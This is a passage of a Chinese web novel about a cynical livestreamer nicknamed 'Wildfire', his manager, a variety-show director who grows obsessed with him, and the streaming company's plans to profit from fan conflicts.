以为自己够资格的先洗洗睡吧,孩子,梦里啥都有。
所以找着人的张诚二话没有,连夜开车,载着宋枝月就直奔S市。
现在是凌晨三点。
看着这个时间,张诚愣是咽下满肚子的火气,忍住了所有的抱怨谩骂,甚至还有点温柔的道:“野火。”
“明天一早你就要去电视台,车后座有毯子,你裹着先凑合睡一觉,尽量养养精神,争取明天给人导演留点好印象。”
“谢谢哥。”
宋枝月也知道轻重,再加上他还喝了酒,因而没说什么废话,裹着毯子就睡了。
迷迷糊糊的,宋枝月还听见张诚在和老板通电话......唔,他们张哥的声音,是不是有点哽咽?
对了,他好像偷懒没在公司里申请改填地址,张哥是怎么找到他的......揣着疑惑的宋枝月最后慢慢睡着了。
*
一路高速,极限驾驶两小时十五分钟后,两人随着初升的旭日一同踏入了S市。
这个时间点,他们在电视台附近找了个宾馆。
听宋枝月这个抠门到让人咂舌的小王八蛋竟然还要开个什么钟点房,忍无可忍的张诚一巴掌就把他推开了。
“滚一边去。”
嫌房间号的404不吉利,张诚硬是让前台给他换了个606。
知道宋枝月的手机是摔坏了拿去修,张诚嘴动了动,还是没说什么,只让宋枝月赶紧去洗澡,好好捯饬一下自己,他自己则是又去给崔老板打电话。
宋枝月进门后左右看着房间......话说,这酒店是不是都会有针孔摄像头之类的东西?
想想这又离电视台近,保不齐有什么明星会住,万一有哪个丧心病狂的,偷偷装了这玩意儿,浴室里要是拍了他,他不怕,反正□□发出来也会被404。
但在这房间里么......洗完澡的宋枝月又把口罩给戴上了。
都忍了这么多天,马上就要录节目了,就这最后几天,再忍忍就过去了。
*
张哥是提着两份早点回来的。
许是路不熟绕
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了几圈,他脸上还有点汗。
放下东西招呼了宋枝月一声,张诚就狼吞虎咽的开始吃早点,连吃了六个肉馅都泛甜的包子,吃的他直打嗝。
张诚放下了筷子。
他开始一边吸着小米粥往下顺,一边习惯性的刷手机。
刷着,刷着,他猛然“卧槽”一声,手指停在屏幕上不动了——
这是“快音”上的一个现场直拍视频。
从周围的灯光音乐环境里,很容易能看出来是在酒吧拍的。
而拍摄视频的人显然非常非常非常的激动,在此起彼伏的尖叫声里,十五秒的视频,有十秒都是晃动的灯光和嘈杂的喊叫声。
只有最后五秒才抓拍到了人——
四周被无数黑影追逐着奔跑的人影,衣角翻飞,酒吧内旋转的五彩氛围灯给他添上了层层光阑的色晕。
那是隔着疯狂又嘈杂的重重人影,隔着红橙紫粉的交叠光影里,他直直望过来的一眼。
一眼万年。
一瞬间,整个画面......或者说是整个世界都清晰了。
蛮不讲理撕扯你的视线,攥紧你的呼吸,让你的注意力放松不了半分,全部都集中他的身上,甚至他只是偏头看过来,还被其他疯狂涌动的人影挡住了一点。
如果说砸了脑袋的宋枝月,站在镜子前是“神爱”的倒霉蛋。
那么发疯般的宋枝月,则是放肆的点燃一把“心头野火”。
疯狂绵延,炙热滚烫,无人生还。
昨晚才拍摄的视频,才短短的几个小时,就像“病毒”一样堪称疯狂传播开了,评论区也被挤爆了。
【“地点,时间,人!”】
【“地点,时间,人!”】
【......】
队形很整齐,甚至都不知道排到了第几层。
而稍微往下翻翻,才是正常些的评论。
【“我已经来回拉进度条,拉的手指头都酸了。”】
【“求求了,有没人告知这是哪个酒吧推出的活动?我有钱,我真的有,我当赞助,可以拿现金当“悬赏金”。”】
【“是要推出哪个新人了吗?能不能直接说个名?网上热度不会一直这么持续的啊,赶紧安排!”】
......
见张哥目光怔怔然的一直反复划拉着同一个视频,裹着浴巾的宋枝月也想凑热闹。
不想刚走过去,张诚‘嚯’的忽然起身,目光灼灼间急切看着他。
“野火,你昨晚上也在月色是不是?”
“是不是?!”
宋枝月:......
他自然的转身往床上一躺,拉过被子给自己盖好,面容安详,神态从容,语气平和。
“不知道,没听过,没去过。”
不动声色把自己昨晚穿的衬衫团成一团藏在被子里,宋枝月抬头,“张哥,我衣裳洗湿了,能不能麻烦你买身衣裳?”
“等我“热搜”红包的钱到账上了,我就给你转过来。”
热搜红包?
你竟然还有脸要节目组要什么热搜红包?
张诚一瞬从幻想签约视频真人的“大爆”天堂,残忍的跌回有宋枝月这个成事不足,败事有余小王八蛋的现实地狱。
看着在房间里还戴着个口罩的‘野火’,张诚是真的觉得这人已经在网上蹭热度,蹭到被人追着骂到脑子都不正常了。
“神经病”三个字,张诚都要说倦了。
他忍住了疯狂盘旋在嘴边的骂声,皮笑肉不笑的点了点头。
“行,你等着。”
......
13. 第 13 章
想着“九十九拜都拜了,不差这最后一哆嗦”的张诚,当真给宋枝月去买了件黑蓝拼色的衬衫。
别说,这种蓝色中和了黑色的严肃感,宋枝月生的又好像亮月似的冷白,挺直腰,乍一瞧上去还挺像那么回事的。
眼见宋枝月换好衣服,又去捯饬他那头微微发卷的长毛,抱着胸靠在墙上的张诚,看了好几眼手表,不耐烦的催着他。
“野火,你快着点。”
“要早点去给人导演留个好印象。”
“人家是大电视台,著名的大导演,能有这个机会很不容易。”
宋枝月一边“嗯嗯啊啊”的应付,一边想念他的发胶。
主打一个哪哪都“蹭”的“捡剩饭野狗”,宋枝月特意留了头发,以便模仿某位顶流男星前段时间小狼尾发型出圈的“红图”。
而张诚再一次看了眼手表。
等抬头,就见面前的宋枝月微微垂着眼,睫毛卷又翘。
骨节分明的细长手指,勾着自己脖颈侧的项链,脖子上像是已经勒出了一条细细的红痕,刚刚往后抓了一把的头发,随着他的动作自然往两侧垂落......
“艹!”
突然响起的暴躁大骂声,吓得怔怔然望着宋枝月出神的张诚一激灵。
细看却是宋枝月脖子上挂着的那条某大牌项链仿制品掉色了......回过神的张哥略感头疼的揉了揉自己的眉心。
都说“近朱者赤,近墨者黑”。
跟着野火这个“神经病”待一块才多久啊,他都就已经开始产生不切实际的幻想,青天白日做美梦了。
张诚很是无力的对宋枝月摆了摆手。
“行了,摘了吧,野火,你买也买个稍微好点的仿品啊。”
摘着项链往外走的宋枝月也在嘀咕。
“都买仿品了,我还多花那些冤枉钱做什么?”
张诚都懒得理宋枝月了,只闷头往外走。
出了宾馆,两人走了大概五分钟就到了广电大厦,临进去前,张诚下意识瞄了一眼表盘,08:32。
里头接待他们的工作人员脸上是那种很标准的职业性客气,给他们找了两个一次性的纸杯,倒了点水。
“两位老师在这等一下,王导这会儿还没来。”
“谢谢。”接过纸杯的张诚连连点头,“我们在这等。”
交代完这句话,工作人员就走了。
而这波客气后,就再没人搭理张诚和宋枝月了。
坐着的宋枝月显然也没闲着。
“蹭”出一条通天大道的他目光不断来回搜寻着,妄图找出那位“正经虚王”或者“暴力成狂”的踪影。
打来的路上,想热度想疯了的宋枝月,就已经堪称丧心病狂的想好自己下一场直播时能起个什么炸裂标题了。
而当着电视台这么多工作人员的面,那两个大明星还能对他不客气?
但显然,老天爷并不想随了宋枝月这个毫无道德底线无赖的“碰瓷”心愿。
今天来走流程的......好像只有他一个。
快十一点的时候,有工作人员过来请宋枝月去见导演,又以涉及节目效果需要保密为由,都没让张诚跟着。
她带着宋枝月走到门前,敲了敲门。
“导演,宋老师到了。”
“进来。”
推开门进去的第一眼,宋枝月就注意到了那个叼着烟的大光头。
王新宥——综艺节目的知名导演。
是观众一边骂骂咧咧,一边却忍不住好奇他又搞出什么新花样的奇人。
而他“不怕搞事,就怕没爆点”的追求着实与香蕉台的风格合拍,没几年就有了名气。
混出头的王导更有事业心了,开始极力发展个人特色,连光头都是特意剃的。
王导和野火这两个人吧,一个不择手段“造爆点”,一个兢兢业业“蹭热度”。
明明都是“流量至上,热度万岁”这一“邪|教”的忠诚信徒,但并没有产生“王八看绿豆”的相见恨晚。
想想宋枝月闹出的“抵触近距离”综艺狂潮,王导自觉没冲宋枝月要赔偿费就不错了,他皮笑肉不笑的掸了掸烟灰。
“小高,领他走一下流程。”
因着这档综艺节目采取的是直播的形式,也没有主持人插入破坏连续性。
而搞事的王导选择在宋枝月露面的时候就开始走剧本。
【第一幕——安排工作人员假装路人,偶遇宋枝月后尖叫一声,貌似激动的道:‘这是不是那个,那个直播的博主?’】
【第二幕——宋枝月需要表现出沾沾自喜,一副明明在乎得意的要死,却装着不在意的模样,问道:“你们是不是要我的签名?”说这句话的时候,他就要从兜里掏笔。】
【第三幕——等工作人员嘀嘀咕咕小声说“蹭热度”的时候,镜头就会拉近,清晰听到这句话的宋枝月需要当场黑脸。】
之后,宋枝月只要本色出演,充分施展出他阴阳怪气,尖酸刻薄,嫉妒旺盛的丑恶嘴脸就行了。
类似于桑醒一出场,其他的嘉宾激动着尖叫,镜头会捕捉到他在一旁偷偷翻白眼,撇撇嘴,嘀咕有什么了不起的。
等其他人握手的镜头一切换,宋枝月就假惺惺满脸堆笑,喊着桑老师赶紧去握手......
这种明明嫉妒的要死,却不得不赔着笑脸上赶着去握手的名场面,会很容易让观众产生爽感,讨好很大一批粉丝。
等后期,宋枝月会越来越过分,甚至嫉妒心旺盛的连演都不演了——
在大家一起完成任务的时候,他负责好吃懒做,打击士气,阴阳怪气的损人,尖酸刻薄的挑剔......
讲真的,这任务对于宋枝月这种在“作死”路上狂奔的天赋型选手而言一点都不难。
甚至一想到自己能当着粉丝的面,对着那些“高高在上的大明星”极尽刻薄的嘲讽挑刺......“小变态”宋枝月激动的手都有些发颤。
哪怕现在王导要换个‘洗白’他的剧本,宋枝月都不干。
连脸都不要的宋枝月,准备往后
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像个阴魂不散的“鬼”一样缠着这事蹭热度——
他会把这些片段挨个剪辑出来,就挂在他的直播间,一年到头三百六十度无死角的循环播放......这一波都够他吃一辈子的了。
这剧本所有人都满意,堪称皆大欢喜......唯独,指导宋枝月和工作人员小星走第一幕流程的高编剧皱着眉。
“宋老师,小星现在得先认识你才行,麻烦摘一下口罩。”
宋枝月捂着口罩没动。
毕竟对于一个连答应好的“热搜”红包都不准备兑现的节目组,在他这的信任度......约等于零。
万一这个节目组偷偷安排工作人拍了他的照片,放在网上,然后说他违约,想把他踢出去时趁机“讹”他一大笔违约金怎么办?
“我签约的时候规定得在节目上露脸才行。”
听着这句话的王导哼了一声,手握”双子大炸星”的他,哪还能看得上宋枝月这口剩饭?
“那是之前,现在不需要了,野火,你赶紧走完流程,不要耽误大家伙的时间。”
钱比命硬,见过太多太多被合同空子坑惨倒霉蛋的宋枝月很坚定。
“那节目组得先给我一份声明才行。”
王导直接冷笑了起来。
“嘿,我说你小子,你在网上搞砸节目口碑的事,我还没跟你算账,你在这蹬鼻子上脸是吧?”
一听“热搜红包”直接不给了,宋枝月就知道这帮王八蛋是想赖账,讹他钱后倒打一耙说他违约,要把他赶走。
宋枝月捂着口罩,死活不肯退步。
“我们签过合约的,我要一份声明。”
看王导一下阴着脸,当真是想一脚把宋枝月蹬出去的表情,其他人连忙好言相劝。
编剧也连连让王导冷静,毕竟野火可是上头指名留下的“乐子”。
通往成功的路上总是曲折的......这么安慰自己的王导深吸了一口气,挥挥手让人赶紧去打印一份声明出来。
王导摸着光头——且由着野火这现在跳腾,等上了节目,他不让这个王八蛋把“屁股”露出来,他的姓就倒着写!
他们走着瞧!
好不容易折腾完了声明,签名、按手印。
正研究该怎么让宋枝月好好出丑的时候,王导就听见小星冷不丁的高声尖叫了一声,“啊!!!!”
还有完没完了?!
王导摔了笔。
“太过了!小星你不需要这么夸张的反应。”
“你这样太假了。”
“导演,导演......”
一旁的高编剧抓着王导袖子的手都有些哆嗦,她却依旧在激动拼命的晃。
“他,他是,他不,野火,啊啊啊啊!”
“啊啊啊啊!!!!”
???
莫名其妙都变尖叫鸡了?这么能叫。
一头雾水的王导回过头,正和挑着眉,一脸‘你们真能演,这演技真牛逼’的宋枝月对上了视线。
......
14. 第 14 章
“啊啊啊!!!!”
“啊啊啊啊!!!!”
“啊啊啊!!!!”
“啊啊啊啊!!!!”
看着满屋子蹿来蹿去,只不停发出一连串激动尖叫的工作人员,宋枝月这个从来都刻薄小气,斤斤计较,阴阳怪气的“红眼病”重度患者,这会儿都不眼红这些人挣得那份钱了。
这是她们该得的。
你看看,她们当真是要激动就能有多么疯狂的尖叫,要多有力就有多卖力,要兴奋就有多兴奋,甚至还有脸红和冒星星眼的......
真的,宋枝月敢对天发誓,他面前需要假装激动的工作人员小星,捂着嘴仰头看着他的时候,真的是眼冒金星的具象化。
他头一次见有人脸红的时候,眼睛还能这么亮。
啧啧啧,你说说,就这些人的敬业程度,不知道甩出内娱那些勾八**的蠢*玩意儿几条街。
好苗子果然都压在民间被埋没了。
那些瞎心的王八蛋就知道推出些傻**丑**的狗屁来“割韭菜”。
心生刻薄之际,宋枝月就和那个从进门就看他不顺眼,又昧下他“热搜”红包,气场不和,八字不合的光头导演对上了目光。
不过一瞬,宋枝月淡定的移开了眼神,重新看向了站在他面前的小星。
虽然宋枝月这个混蛋玩意儿刻薄和嘴贱起来是不分男女,甚至人畜不分的,没错,就是条狗得罪了他,他都能追着骂。
但眼见搭档的小星这么卖力敬业,宋枝月也不能太掉链子不是?
宋枝月掏出刚刚顺手揣在兜里的工具签字笔,微微昂着下巴,对小星挑眉笑了笑。
“要签名吗?”
就是这个感觉!!!
“怦怦,怦怦,怦怦”——
心跳一声比一声快,一声比一声响的小星看着宋枝月,使劲捂着嘴都控制不住的激动到有些哆嗦。
“我,我,真,真,真......真的,可以吗?”
难怪那些明星会这么傲气十足,飘飘然的落不到地上呢,看着小星不敢置信又激动的惊喜,宋枝月都觉得自己骨头都有些轻了。
他拔掉笔帽,提着笔问道:“签哪?”
“啊!!!”
小星短促的叫了一声,看着手里划得乱七八糟的剧本,她直接扔了出去,随后急的直接两只手扒拉着自己的短衫下摆,拼命的扯起来绷直了递过去。
“签,签,签这。”
宋枝月没动,他摇摇头,笑着把手里的笔帽给盖回去了。
“妹妹,咱们就是工作走个流程,犯不上这么拼。”
“不管家里有钱没钱,自己打工挣几个钱都不容易。”
“你这身是BNIV和迪卢尼雅的夏季限定联名款,要大几千呢,在这糟践了多划不来。”
“不,不......”
死死拉着衣衫的小星急的眼圈都红了。
只不过还没等她继续说什么,堪堪回过神的光头王导演,就以一种远不符合他微胖身形的敏捷蹿了过来,毫不客气一肩膀挤开她。
“野,野火......”近距离看着宋枝月的王导,声音都下意识夹了起来,“你,你一直做的直播?”
这不废话么,不做直播你能挑我来做这“搅屎棍”?
宋枝月这个人吧,他身上数不清的毛病一大堆,但排在最前面的,绝对是“视财如命”,“发疯爱钱”。
就冲王导不仅不认“热搜红包”甚至还想要“讹钱”这两点,他在这宋枝月这就是纯种烂人一个。
现在合约也签了,声明也有了,流程也走了,宋枝月也一点不怕王导了。
饭碗砸不了的时候,其他人怕得罪导演怕被恶意剪辑怕被观众挑剔着骂。
但宋枝月会怕这些?
这档节目里,他们爱把他的丑恶嘴脸塑造的有多讨人厌都行,想把他剪辑多恶毒都没问题,随便,反正宋枝月压根一点都不想“洗白”。
到时候,节目里他嘴脸要多刁钻多可恶多嚣张,他就有多开心,他就不信那群“geigei”粉还能不破防。
宋枝月转着笔,对“恶意扣留红包”的王导忍不住露出点刻薄的笑。
“是啊,网名就叫“歘日野火你大哥”,一直做直播,不然王导也不会挑了我来吧?”
王导还是笑的见牙不见眼。
“野火啊,你,你就这么做那种直播真的可惜了,真的,真的,真的太可惜了,你想不想演戏?想不想当明星?或者到咱们......”
宋枝月才不信王导放的屁。
他的外形愁的他都憋出“神经病”了。
他压根就吃不了“颜值”这碗饭!
那些不信邪,被拿捏住合同“死的惨不忍睹”的倒霉蛋还少吗?
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>这光头八成是怀恨在心,想搞他一把。
因而宋枝月想都没想一口回绝,谎话也是张口就来。
“抱歉啊王导,我这人自由惯了,就想着直播玩玩。”
王导还有些不死心,眼见宋枝月的眼神都像是看见什么骗子了,高编剧连忙拉了拉王导。
“导演,咱们这剧本还走吗?”
说着这些话的高编剧看着宋枝月,眼睛里全是跃跃欲试的灵感。
“要不然现在就换一个?”
“我马上就能写,连夜改,最迟明天早上就能改好......”
王导的事业心“玩命”拉回了王导的注意力。
不管在哪,但凡能混出头的人都是有两把刷子的,王导也不例外。
他在这圈子里阅人无数,十分擅长根据嘉宾的个性,量身凸显人设,在矛盾中加深印象......新奇,有趣,有张力,这才是王导牢牢抓住观众目光的不二法宝。
他看着面前宋枝月——长着神明垂爱的模样,藏着野狗般不驯的性情。
野火,野火,野火......荒原里的火。
抓不住,扑不灭。
劲劲儿的真的像是一把热烈燃烧旺盛的野火,灿烂醒目,滚烫炙热。
野火烧不尽,春风吹又生。
“不改了......”
王导呢喃着,直勾勾的看着宋枝月。
“不改了。”
重复第二次的王导声音大了起来,眼眶里像是真的烧起了一把火。
“不改了!”
第三次重复的王导,脸上迸发出一种无以言喻的神采。
他笑了起来,说话的语气甚至都有些癫癫的狂热。
“没人会把他当成一场献祭......只有我敢,嘿嘿嘿,只有我敢。”
“烧吧,烧吧,抓住这个夏天的尾巴一把火都烧成你的颜色。”
“我要带着这个节目永远的垂名不朽了,嘿嘿嘿,哈哈哈,哈哈哈哈哈。”
看着面前开始手舞足蹈,说着莫名其妙鬼话,活像是得了癔症开始发疯的王导,宋枝月不动声色的往后退了几步。
许是因为自己是“神经病”的缘故,宋枝月再遇见其他“神经病”的时候,那是一点都不觉得奇怪。
都说娱乐圈里压力大到发疯的人不少,果然,这又疯了一个。
......
15. 第 15 章
在见识了满屋子工作人员的敬业能力,以及开始发癫的王导胡言乱语的功力后,宋枝月同节目组沟通起来简直不要太顺利。
而闲不下来的王导则扭头开始上演“变脸绝活”,成为疯狂咆哮的背景音。
“都给我把手机收起来,交上来!”
“不许拍照!”
“不许合影!”
“不许要签名!”
“等节目开拍的时候,你们拍几张都行,签几张都行,现在不行,都给我收起来!”
“谁要是毁了老子的节目,就别怪我......”
看着变成老虎似的不停“嗷呜”的王导演,宋枝月忍不住朝着跟前的高编剧问道:“王导一直就这么,这么有个性?”
高编剧两只手紧紧攥着手里的剧本。
从头至尾,她落在宋枝月身上的目光都没离开过。
听他笑着同自己说话,高编剧也只笑着点头,看都不看王导演一眼——废话,谁现在顾得上王光头变成什么样?
等走完流程,宋枝月再三推拒了节目组热情到离谱的饭局邀请,逃也似的离开了。
外头一直反复刷着视频等着他的张诚这会儿手机也没电了,两人便准备先回宾馆。
而在宋枝月离开了没多久,还在办公室的小路忽然想起什么似的,她掏出手机,匆忙点开了一个下载保存的“快音”视频。
“小庆,小庆,你快看,这,这,这视频里的人不是野火?!”
因着拍摄视频里的人只有侧着的半张脸,那会儿小路和小庆,还就这里面的人到底是不是“AI”合成讨论了半天。
但现在见了宋枝月后,这视屏里的半张脸自然而然的就同他吻合在了一起。
而宋枝月已经在网上提前曝光的消息,很快也传到了王导的耳朵里。
“导演,你看现在......”
高编剧将手机递给了王导,示意他看一看里面的视频。
王导现如今是近距离见过野火的人,自然一眼就看出来拍的是谁。
这要是搁之前,王导一定会紧紧抓着宋枝月已经违约的事,想方设法的试试看能不能把宋枝月这个成事不足,败事有余,档次又低的垃圾玩意儿,从这档节目干脆踢出去。
但现在么......
“就当不知道!”
王导摸了摸自己的光头。
“这是别人拍的,还拍的这么模糊,野火肯定不是故意的。”
王导斩钉截铁的下了结论,点着头很是肯定的说道:“他既然都不知情,那就根本不存在恶意毁约的事。”
已经打定主意的王导所有的原则都可以为宋枝月让步。
他喃喃的道:“这个节目就是为他而生的。”
“我只要他。”
“再没有人能复刻第一次的刻骨铭心,没有人。”
“这是我的导演成神路......任何人都不能破坏它。”
“导演。”
高编剧习以为常的伸出手,她在又陷入自己世界的王导面前晃了晃。
“那咱们现在可以在官网上公布野火确定参加《近距离》节目拍摄的消息了?”
“好,这消息我来发。”
说着,王导又翻回了“神奇十五秒”视频。
看着看着,他嘴角还露出一丝笑意。
“挺好,你看他到哪都能给人惊喜,这不就现成的热度吗?”
“小高,你等会儿联系一下野火,告诉他,之后无论网上出现什么消息都不要慌。”
“咱们节目组都一定是站在他这边的,让他安安心心的来拍摄节目就行。”
听着王导这一连串肉麻话,高编剧下意识的瞄了一眼王导的脸皮——
啧啧啧,难怪这人能混出名头呢。
瞧瞧这变脸的绝技,堪称炉火纯青。
就好像之前那个对着野火嫌弃不已,恨不能三两下就踢他走的人,压根从来都不存在一样。
......
回到宾馆,给手机充上电,张诚看了眼手机上的日期,随后转身,看向了坐在床边的宋枝月。
“野火。”
“嗯?”
抬头看着张诚略有些踌躇又迟迟不开口的样子,应着声的宋枝月笑了笑。
“张哥,你跟我还用的着这么含糊客套?”
“有什么话直说就行。”
“也好,那我......就直接说了。”
张诚顺杆子往上爬,无比熟练的又开始“掏心掏肺”给宋枝月说着掏心窝的好话了。
“野火,你和咱们公司签的直播合约,这眼看马上就要到期了。”
“本来吧,为着这次综艺节目,说好的是给你争取一个A类的合约。”
“但咱们老板的意思是,你才直播了近一年的时候,而且直播的那些内容,也不太好赚钱,所以想先给你升成B类的合约......”
宋枝月摇了摇头。
“张哥,我不准备续约了。”
一听这话,张诚一下就急了。
他蹿到宋枝月的身前,急切的开始画着大饼。
“要是你觉得不满意,这事还能商量。”
“我再努力给你争取一下,老板那我去......”
“张哥,我没有不满意或者想坐地起价的意思。”
看着眼睛里都是红血丝的张诚,宋枝月拧开手边的矿泉水,递了过去。
“以前我在咱们直播平台上不管怎么嘴臭,那都是小打小闹。”
“可这次综艺节目,面向的是全国的观众。”
“节目组让我做的是丑角。”
宋枝月说起这事时还笑了笑。
“就是烂俗小说里最讨嫌的恶毒炮灰,人人喊打的那种。”
“这次的节目直播出来,我这个人,野火这个名头,基本上也就臭完了。”
“就那“虚王”和“暴力狂”粉丝的联手“屠杀”,咱们公司这点小身板也扛不住。”
“等过了这阵风头,如果咱们公司还要我,我就继续回来。”
“如果不行,我就单干。”
张诚来回的捏着手里的矿泉水瓶。
“单干?这事哪有那么轻巧的......”
“野火,即便你现在先不开直播,也能和
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公司先签了合约,到时候你也能有个保底的。”
宋枝月看着神情恳切,为他着想的张诚。
刚进直播公司的时候,宋枝月就是张哥带着的。
“刀子嘴豆腐心”的张诚对野火一向热心。
在他被网暴的时候,鼓励他坚持走下去;
之前好几次不惜和高层争吵也要一力保住他饭碗;
这次还不眠不休,一路高速,连夜开车送他S市......
即便视财如命,尖酸刻薄如宋枝月这般的小王八蛋,都难得有了片刻的真诚。
更何况,这病一直压在宋枝月心里憋的他也挺难受,难免忍不住想找个人倾诉一下。
“张哥,事到如今,我也就不瞒你了。”
“我,我没法直播了。”
宋枝月指了指自己的脑袋。
“医生说我的脑袋被花盆砸坏了,这伤成了什么诱因,我就得了,得了精神病。”
张诚:......
这一刻,他真的以为自己是在做梦呢。
尽管他骂了无数次野火这个狗逼绝对就是个神经病......可可可,那不是骂人吗?
骂人不就捡了难听的话来骂吗?
谁踏马的会把骂人的话当真的啊?!!!!
“野火,野火......”
张诚的嘴皮子都有些哆嗦了。
“你,你是跟张哥开玩笑呢吧?”
“我这个人就是脾气爆了点,有时候骂人也粗俗,不过脑子,不管不顾的......”
“我是去的仁和医院。”
“花了一大笔钱做的检查。”
“检查单现在还在我的抽屉里......”
宋枝月平静的道:“小陈医生当时就建议我去二院看看,说那有个脑神经的专家很适合我。”
“我没去。”
“原本还想着脑子上的外伤好了,精神病会不会就自己痊愈了......但现在,情况不仅没有好转,还越来越严重了。”
宋枝月眨了眨眼睛。
“要是只影响我自己的感观也就算了。”
“我倒还能撑住。”
“但我现在做事情,和以前的想法也不太一样了,好像,有种疯了那就干脆破罐子破摔一样......我甚至有点控住不住冲动。”
“我怕我自己哪一天,彻底分不清现实和虚幻了。”
看着面前语气平静的宋枝月,张诚一屁股跌坐在单人床上。
他半信半疑:“你,你,你怎么就能得了这种病呢,你个小王八蛋,不是最能跳腾吗?”
在张诚这挨骂都习惯了的宋枝月只叹着气摇摇头。
“张哥,我也不想的......”
说着宋枝月还忍不住仰头骂天。
“可不就是老天爷瞎了眼,不给这世上穷人一点活路......”
到这份上,张诚也没法劝了。
这世上没法签约的理由有千千万万。
但一向和常人不一样,专走“崎岖小路”的宋枝月连理由都是最与众不同的一个。
......
16. 第 16 章
“啪——”
从606房间出来的张诚走到酒店走廊的窗前,掏出打火机,点起了一支烟。
透过窗户望着远处的摩天大楼,张诚长长的吐了口烟圈。
“滴滴滴——”
怀里手机的震动拉回了张诚的注意力,掏出一看来电显示,张诚又吸了口烟,随后按灭了烟头。
接通的瞬间,张诚就微微弯着腰,脸上都是带着笑的。
“老板,是,是,刚回来,那档子综艺节目没问题了。”
“就是野火......他没想着续约。”
“......”
“没有,没有,老板,真不是合约待遇的问题。”
张诚砸吧砸吧嘴,“就是吧,野火这小子,八成是真的有点毛病了。”
电话那头崔老板的声音瞬间炸了,张诚连忙拿远了手机。
等崔老板咆哮完,张诚才把手机又拿回了耳朵边。
“老板,不是,我真没有跟您开玩笑。”
“老板,说真的,野火这人吧,打从他“蹭流量”直播起来后,在我的印象里就很少见他完全露出脸。”
“夏天都和贼一样,裹得严严实实的。”
“光网上我看那些追着骂他的话,我都觉得心梗,可这小子愣是跟没事人一样。”
“他甚至不抽烟,不喝酒,不赌钱,不泡妞,不买车,连手机都是国产的旧机型,坏了连个备用机都没有......”
“身上像样点的装饰,都是买的便宜仿品,还,还踏马,咳咳,还掉色。”
“他在公司里也没个朋友,也没听他提起过什么家人......”你还别说,张诚越说越觉得他自己都要信野火是真的憋疯了。
“导演也挺不待见他的,给他的也是“祭天”的角色,我估摸着野火这小子应该是真扛不住了,最起码真没想着能马上直播。”
张诚这么一说,崔老板对这个情况那是满意又不满意——提前搞清楚免得真拿大合同养一个”病号”是好事,但野火这么一搞,这次的泼天流量岂不是和他们有缘无分了?
“老板,这事哪能没用呢。”
张诚眨眼间都出了一个绝妙的好主意。
“《近距离》不是刚刚官宣了野火参加综艺节目吗?”
“趁着这个最热闹的势头,让他开播,和咱们公司的人PK。”
“野火这个臭嘴喷谁,咱们公司里的直播博主就捧谁。”
“对线的时候,让他们赶紧弄几个类似于“桑醒”啊“戚敖”啊,这些明星的死忠粉人设。”
“这些明星的粉丝很买账的,直播PK的时候指定酷酷充钱,想着狠狠打野火的脸。”
“就算以后这些明星都塌房了,也能再狠狠的吃一波流量,怎么算,那都稳赚不赔。”
这个好主意让崔老板重新有了笑声,甚至准备马上就在公司里开小会,搞这个“流量项目”。
张诚也说事不宜迟,他会赶紧带着野火回来,等准备好了就赶紧让他开播。
办理了退房手续,张诚开车载着宋枝月回去。
这次张诚倒没那么疯狂赶时间了,临近黄昏,两人赶回了H市。
想着要知道宋枝月的家在哪的,张诚还热情的要送宋枝月回家。
宋枝月谢过张诚,又从裤兜里摸出那张检修凭证单,他摩挲了一下,还是朝着张诚开口了。
“张哥,你能先借我三百块钱吗?”
“我的钱都在手机那些支付软件里,等我拿到手机,就连衣服的钱一起转给你。”
张诚一脸无语的从钱包里数出三百块钱。
“不是我说你们这些人,平日里身上总得多多少少的留点钱应急吧?”
“要是碰上给什么急事,可不就得抓瞎了?”
宋枝月“嗯嗯啊啊”的应着话,一边谢过张诚,一边捏着钱下车了。
听野火说他住的地方连个电梯都没有,还得爬七层楼梯,张诚瞬间就没有上去的欲望了,只问清楚了具体住址,就让野火自己回去了。
回了出租屋,宋枝月强忍着心痛给张诚转了五百块。
看着账户上“呼啦”一下少了一半的钱,宋枝月对着剩下的627.88开始发呆。
因着之前和平台签约的合约只有D类,宋枝月直播的保底工资不高,全靠“蹭流量”时偷来的热度换钱。
现在宋枝月没续约,再有三天他的直播合同就到期了,连这点保底的工资都没了。
而《近距离》综艺节目的报酬,也只会在节目播出后几个月内才走流程到账。
钱钱钱,钱钱钱......他该到哪去挣钱呢?
钱是穷鬼胆,就是“精神病”都踏马的得给赚钱的事让路!
一想到没钱就悔到肝颤的宋枝月,对着自己的嘴抽了一下。
“你个破嘴,啥都往外瞎咧咧。”
“这下好了,现在提续约,崔扒皮指不定怎么想呢。”
把吐出去的话再捡回来这事......宋枝月看看手机上的余额,表示这事不难,真的一点都不难。
他深吸了一口气,笑呵呵的给张哥将电话打了回去。
这会儿已经赶到公司的张诚,正同崔老板一起合计“野火PK”的事呢,忽然就听到电话响了。
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“老板,是野火的电话。”
崔老板点头,“接。”
张诚麻利的放开了扬声器——
“张哥,是我,野火。”
“嗯,知道是你小子,刚回来不好好休息,给我打电话干什么?”
“就是您之前提起的签约的事......”
“我那会儿没睡醒,嘴上胡说呢,哈哈哈,现在清醒了,您看咱们什么时候续约?”
张诚和崔老板对视了一眼。
随即崔老板双手抱着胸,摇着头玩味的笑了起来。
张诚,张诚已经要翻白眼了。
“你个小王八蛋,我刚还给老板说起你的事呢,你就就给我来这死出?!”
“你觉得好玩是吧?”
“你骗你张哥看他掉眼泪挺自豪是吧?”
“你的那个嘴啊,有一句实话没有?”
“野火,你个混蛋玩意儿迟早毁在那张破嘴上!”
“张哥,我真没有骗你,我真的去仁和医院做了检查,医生都.......”
看着崔老板指了指电脑上的那个项目,张诚连忙打断了宋枝月的话。
“行了!没功夫听你跟我在这放屁!”
“你签约的事再等等,毕竟我才和老板说了这事,你让我怎么马上给你张口?”
“这段时间你赶紧直播,好好表现,你表现好了,我才好给老板提签约的事。”
瞬间攻守易型的张诚,熟练的开始拿捏起了宋枝月。
“今晚上你就开始直播,按着我说的来,别耽误工夫。”
而宋枝月哪有不应的道理?
自是张诚说什么他都说好。
等挂了电话,崔老板笑出了声。
“野火,真没起错名字,倒真是野的没边了,想来就来,想走就走,随心所欲。”
看着脸色不大好看的张诚,崔老板反倒很是宽容的安抚他。
“我现在反倒真相信你的推测了,毕竟正常人干不出这事来。”
“先晾晾这个疯子,签约的事,不着急,看看综艺节目效果再说,要是签了约,他在节目里忽然真的发疯,这事还真不好处理。”
张诚自是连连点头。
崔老板笑着将手边的电脑推了过去。
“加把劲儿,把这个项目好好做出来,到时候项目组里每个人都领个大红包,年终奖也翻倍!”
张诚一下就立正了。
“老板放心,保证完成任务!”
